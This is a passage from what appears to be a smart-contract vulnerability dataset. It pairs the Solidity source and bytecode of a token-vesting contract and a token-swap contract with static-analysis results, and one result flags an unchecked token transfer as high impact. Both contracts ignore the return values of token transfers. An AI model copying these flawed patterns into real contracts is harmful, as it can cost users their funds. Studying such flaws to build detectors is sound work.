054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f534e4c000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a723058204c2e850cdb721343963fea1be9e393dbec4fefda242e849703c77e13e070868f0029
|
{"success": true, "error": null, "results": {}}
| 3,301 |
0xD650C63410137BA9063F5Cc710a876A5b80b78D4
|
pragma solidity ^0.6.2;
interface IRevoTokenContract{
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title RevoVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period.
*/
contract RevoVesting is Ownable {
using SafeMath for uint256;
event TokensReleased(address token, uint256 amount);
// Durations and timestamps are expressed in UNIX time, the same units as block.timestamp.
uint256 private _cliff;
uint256 private _start;
uint256 private _duration;
mapping (address => uint256) private _released;
IRevoTokenContract private revoToken;
address private tokenAddress;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* owner, gradually in a linear fashion until start + duration. By then all
* of the balance will have vested.
* @param cliffDuration duration in seconds of the cliff in which tokens will begin to vest
* @param start the time (as Unix time) at which point vesting starts
* @param duration duration in seconds of the period in which the tokens will vest
*/
constructor(address revoTokenAddress, uint256 start, uint256 cliffDuration, uint256 duration) public {
revoToken = IRevoTokenContract(revoTokenAddress);
tokenAddress = revoTokenAddress;
start = start == 0 ? now : start;
// solhint-disable-next-line max-line-length
require(cliffDuration <= duration, "TokenVesting: cliff is longer than duration");
require(duration > 0, "TokenVesting: duration is 0");
// solhint-disable-next-line max-line-length
require(start.add(duration) > block.timestamp, "TokenVesting: final time is before current time");
_duration = duration;
_cliff = start.add(cliffDuration);
_start = start;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view returns (address) {
return owner();
}
/**
* @return the cliff time of the token vesting.
*/
function cliff() public view returns (uint256) {
return _cliff;
}
/**
* @return the start time of the token vesting.
*/
function start() public view returns (uint256) {
return _start;
}
/**
* @return the duration of the token vesting.
*/
function duration() public view returns (uint256) {
return _duration;
}
/**
* @return the amount of the token released.
*/
function released() public view returns (uint256) {
return _released[tokenAddress];
}
/**
* @notice Transfers vested tokens to beneficiary.
*/
function release() public onlyOwner {
uint256 unreleased = releasableAmount();
require(unreleased > 0, "TokenVesting: no tokens are due");
_released[address(tokenAddress)] = _released[address(tokenAddress)].add(unreleased);
revoToken.transfer(owner(), unreleased);
emit TokensReleased(address(tokenAddress), unreleased);
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
*/
function releasableAmount() public view returns (uint256) {
return vestedAmount().sub(_released[address(tokenAddress)]);
}
/**
* @dev Calculates the amount that has already vested.
*/
function vestedAmount() public view returns (uint256) {
uint256 currentBalance = revoToken.balanceOf(address(this));
uint256 totalBalance = currentBalance.add(_released[address(tokenAddress)]);
if (block.timestamp < _cliff) {
return 0;
} else if (block.timestamp >= _start.add(_duration)) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(_start)).div(_duration);
}
}
function getRemainingSeconds() public view returns(uint256){
return _start.add(_duration).sub(block.timestamp);
}
function getRemainingDays() public view returns(uint256){
return _start.add(_duration).sub(block.timestamp).div(86400);
}
function getCurrentBalance() public view returns(uint256){
return revoToken.balanceOf(address(this));
}
}
|
0x608060405234801561001057600080fd5b50600436106100e95760003560e01c806386d1a69f1161008c578063a574971011610066578063a57497101461024a578063be9a655514610268578063d7dee81414610286578063f2fde38b146102a4576100e9565b806386d1a69f146101d85780638da5cb5b146101e2578063961325211461022c576100e9565b806338af3eed116100c857806338af3eed1461014857806344b1231f146101925780635b940081146101b0578063715018a6146101ce576100e9565b80620c7019146100ee5780630fb5a6b41461010c57806313d033c01461012a575b600080fd5b6100f66102e8565b6040518082815260200191505060405180910390f35b61011461032d565b6040518082815260200191505060405180910390f35b610132610337565b6040518082815260200191505060405180910390f35b610150610341565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61019a610350565b6040518082815260200191505060405180910390f35b6101b8610526565b6040518082815260200191505060405180910390f35b6101d66105a8565b005b6101e0610730565b005b6101ea610ad0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610234610af9565b6040518082815260200191505060405180910390f35b610252610b62565b6040518082815260200191505060405180910390f35b610270610c43565b6040518082815260200191505060405180910390f35b61028e610c4d565b6040518082815260200191505060405180910390f35b6102e6600480360360208110156102ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c7d565b005b60006103286201518061031a4261030c600354600254610e8a90919063ffffffff16565b610f1290919063ffffffff16565b610f5c90919063ffffffff16565b905090565b6000600354905090565b6000600154905090565b600061034b610ad0565b905090565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156103f257600080fd5b505afa158015610406573d6000803e3d6000fd5b505050506040513d602081101561041c57600080fd5b8101908080519060200190929190505050905060006104a560046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e8a90919063ffffffff16565b90506001544210156104bc57600092505050610523565b6104d3600354600254610e8a90919063ffffffff16565b42106104e3578092505050610523565b61051e60035461051061050160025442610f1290919063ffffffff16565b84610fa690919063ffffffff16565b610f5c90919063ffffffff16565b925050505b90565b60006105a360046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610595610350565b610f1290919063ffffffff16565b905090565b6105b061102c565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610671576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61073861102c565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000610803610526565b90506000811161087b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f546f6b656e56657374696e673a206e6f20746f6b656e7320617265206475650081525060200191505060405180910390fd5b6108ef8160046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e8a90919063ffffffff16565b60046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61099a610ad0565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a0457600080fd5b505af1158015610a18573d6000803e3d6000fd5b505050506040513d6020811015610a2e57600080fd5b8101908080519060200190929190505050507fc7798891864187665ac6dd119286e44ec13f014527aeeb2b8eb3fd413df93179600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600060046000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c0357600080fd5b505afa158015610c17573d6000803e3d6000fd5b505050506040513d6020811015610c2d57600080fd5b8101908080519060200190929190505050905090565b6000600254905090565b6000610c7842610c6a600354600254610e8a90919063ffffffff16565b610f1290919063ffffffff16565b905090565b610c8561102c565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610dcc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806111bb6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015610f08576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610f5483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611034565b905092915050565b6000610f9e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110f4565b905092915050565b600080831415610fb95760009050611026565b6000828402905082848281610fca57fe5b0414611021576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806111e16021913960400191505060405180910390fd5b809150505b92915050565b600033905090565b60008383111582906110e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156110a657808201518184015260208101905061108b565b50505050905090810190601f1680156110d35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080831182906111a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561116557808201518184015260208101905061114a565b50505050905090810190601f1680156111925780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816111ac57fe5b04905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220a1f72c1c9e8011432b16fc339ae49de80e1fe2922cd0a2d072aad8a4dd20deea64736f6c63430006020033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,302 |
0xddfb5c38798a29a0d09e274bc20e457e1ef6f227
|
/**
*Submitted for verification at Etherscan.io on 2020-10-10
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract UNLSplit {
using Address for address;
using SafeMath for uint;
address public newUNL;
address public oldUNL;
address public owner;
uint public ratio;
constructor(address _newUNL,address _oldUNL,uint _ratio) public{
owner = msg.sender;
newUNL = _newUNL;
oldUNL = _oldUNL;
ratio = _ratio;
}
function changeConfig(address _newUNL,address _oldUNL,uint _ratio) public returns (uint){
require(msg.sender == owner, ' You are not allowed to execute this function');
newUNL = _newUNL;
oldUNL = _oldUNL;
ratio = _ratio;
}
function swap() public returns(uint){
uint balance = IERC20(address(oldUNL)).balanceOf(msg.sender);
IERC20(address(oldUNL)).transferFrom(msg.sender,address(this),balance);
IERC20(address(newUNL)).transfer(msg.sender,balance.mul(ratio));
}
}
|
